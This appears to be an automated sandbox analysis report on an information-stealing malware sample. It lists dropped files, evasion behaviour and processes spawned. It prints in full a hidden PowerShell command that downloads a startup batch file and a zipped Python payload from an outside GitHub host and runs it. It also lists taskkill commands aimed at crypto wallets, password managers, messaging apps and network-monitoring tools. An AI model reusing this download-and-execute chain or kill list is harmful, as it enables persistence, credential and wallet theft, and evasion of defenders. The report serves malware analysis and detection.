Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32ras.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32wnet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32security.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32transaction.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\isapi\PyISAPI_loader.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32process.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\_win32sysloader.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32trace.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\_winxptheme.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32ts.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32profile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32service.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\winxpgui.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5836

Thread sleep time: -15679732462653109s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: powershell.exe, 00000003.00000002.2124852303.00000245EE971000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: run.cmd, type: SAMPLE
Source: Yara match	File source: amsi64_1028.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1028, type: MEMORYSTR

Excessive usage of taskkill to terminate processes

Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM snpa.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telegram.exe	Jump to behavior

Uses taskkill to terminate AV processes

Source: C:\Users\Public\Document\python.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py			Jump to behavior

Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe	Jump to behavior
